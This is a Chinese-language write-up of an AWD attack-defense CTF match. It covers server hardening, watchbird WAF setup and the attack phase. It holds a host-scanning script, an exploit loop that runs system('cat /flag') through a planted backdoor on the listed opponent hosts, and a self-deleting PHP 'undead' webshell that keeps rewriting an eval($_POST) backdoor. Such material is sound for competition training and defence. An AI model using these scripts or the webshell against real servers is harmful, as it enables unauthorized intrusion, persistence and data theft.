AWD-XM10.26复盘

  1. 前言
  2. SSH连接
  3. 加固阶段
  4. 攻击阶段
  5. 补充
    1. 不死马示例
    2. AWD 攻防全流程

前言

这是第二次打AWD了,也算是终于有了点产出了,排到了第4,虽然这次的漏洞实在是太简单了……当然难的我也不会,第一名的大哥最后一轮直接通杀了,感觉是把pwn的漏洞做出来了。也感谢我的两个队友,师傅们都太强了orz

SSH连接

rm -rf xxxx 删除命令 //当发现服务器被上马了可以快速删掉

Remote host填虚拟IP

New一个用户名和密码,填bugku上给的就行,用户名一般是teamx,然后端口给啥就要填啥,bugku的awd端口是2222

加固阶段

备份源码

1、将网站目录(一般在/var/www/html这个文件夹下)打包成 tar(先进入根目录)

cd /tmp

tar -zcvf /tmp/web.tar.gz /var/www/html/* //文件备份

tar -zxvf web.tar.gz -C /var/www/html //文件恢复

恢复错目录:/var/www/html/var/www/html/

导致看鸟设置的路径为:http://192-168-1-183.pvp5377.bugku.cn/var/www/html/index.php?watchbird=ui

发现有漏洞就删掉漏洞文件,并且想办法利用这个后门文件去攻击别人的服务器

rm -rf xxx.php

放进D盾

把源码放进D盾,既可以发现自己服务器上的后门,也可以发现后门并尝试 攻击别人。同样的记住后门路径并且删掉。

cd /tmp

mkdir temporary

用xftp传输文件到temporary目录下

watchbird:git clone https://github.com/leohearts/awd-watchbird.git 路径

工具部署

1.进入下载好的文件夹目录

2.编译waf.c生成.so文件,参考命令:gcc waf.c -shared -fPIC -o waf.so (虚拟机安装GCC、GCC++)

3.将waf.so,watchbird.php文件存放在/var/www/html或/tmp或者其他目录中 (有权限的目录)

4.将watchbird.php放在www-data可读的目录,确保当前用户对目标目录可写,然后执行php watchbird.php –install [Web目录],安装器将输出安装了watchbird的文件路径

(ps:或者将以下代码放入需要启用waf的php脚本的第一行

<?php include_once "/var/www/html/watchbird.php" ?>)

5.访问任意启用了waf的文件, 参数?watchbird=ui打开watchbird控制台, 创建一个初始密码并进行相关配置 (ps:http://192-168-1-183.pvp5377.bugku.cn/var/www/html/index.php?watchbird=ui)

攻击阶段

扫描IP段

import requests
url_alive = []
url = "http://192-168-1-"
url2 = ".pvp5377.bugku.cn:80"
for i in range(1,256):
    url_new = url + '{}'.format(i) + url2
    try:
        if(requests.get(url_new).status_code == 200):
            print(url_new + '能访问到')
    except:
        pass

扫一下可以访问的ip段,发现了如下ip是可以访问的

D盾扫描发现了有后门漏洞,assert利用一下就可以了

利用第四个,在路径/cms/cms/install/1.php路径有一个马,可以直接进行命令执行,写一个脚本可以自动化获取flag,前几轮有四个队没有修这个洞,拿了几轮4个flag。

import requests
import time

# 定义靶机列表
targets = [
    "http://192-168-1-7.pvp5377.bugku.cn:80",
    "http://192-168-1-19.pvp5377.bugku.cn:80",
    "http://192-168-1-75.pvp5377.bugku.cn:80",
    "http://192-168-1-84.pvp5377.bugku.cn:80",
    "http://192-168-1-98.pvp5377.bugku.cn:80",
    "http://192-168-1-102.pvp5377.bugku.cn:80",
    "http://192-168-1-106.pvp5377.bugku.cn:80",
    "http://192-168-1-149.pvp5377.bugku.cn:80",
    "http://192-168-1-176.pvp5377.bugku.cn:80",
    "http://192-168-1-183.pvp5377.bugku.cn:80",
    "http://192-168-1-189.pvp5377.bugku.cn:80",
    "http://192-168-1-209.pvp5377.bugku.cn:80",
    "http://192-168-1-217.pvp5377.bugku.cn:80"
]

# 定义payload路径
payload_path = "/cms/cms/install/1.php?s=system('cat%20/flag');"

# 存储每个靶机的最新 flag
flags = {}

# 监控频率(秒)
interval = 10

while True:
    # 遍历所有靶机
    for target in targets:
        url = target + payload_path
        try:
            # 发送请求
            response = requests.get(url, timeout=5)
            if response.status_code == 200:
                new_flag = response.text.strip()
                # 如果该靶机的 flag 发生变化,输出新 flag 并更新记录
                if target not in flags or flags[target] != new_flag:
                    print(f"Flag changed for {target}: {new_flag}")
                    flags[target] = new_flag
            else:
                print(f"Failed to retrieve flag from {target}: Status code {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error accessing {target}: {e}")

    # 等待一段时间后重新检查
    time.sleep(interval)

补充

打之前学了点东西进行临时抱佛脚,也一并贴在这里了。

不死马示例

谨慎使用,不要在真实环境使用 ,容易吃大锅饭

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
    $content = '<?php @eval($_POST["cmd"]);?>';
    file_put_contents("shell.php",$content);
    usleep(10000);
}
?>

1、ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。

2、set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。

3、unlink(__FILE__)函数;删除文件。

4、file_put_contents函数;将一个字符串写入文件。

5、usleep函数:延迟执行当前脚本若干微妙(一微妙等于一百万分之一秒)

AWD 攻防全流程

1、ssh连接

2、备份html文件夹,D盾扫描,发现其中的后门或者漏洞

3、上看鸟通防

php watchbird.php –install [Web目录]
例如:php watchbird.php –install /var/www/html

在网页运行/?watchbird=ui 进行管理系统界面,第一次需要设置密码

4、扫描IP网段,查询存在的IP(脚本扫描)

5、通过自己D盾扫描的漏洞,尝试进行漏洞利用,获取flag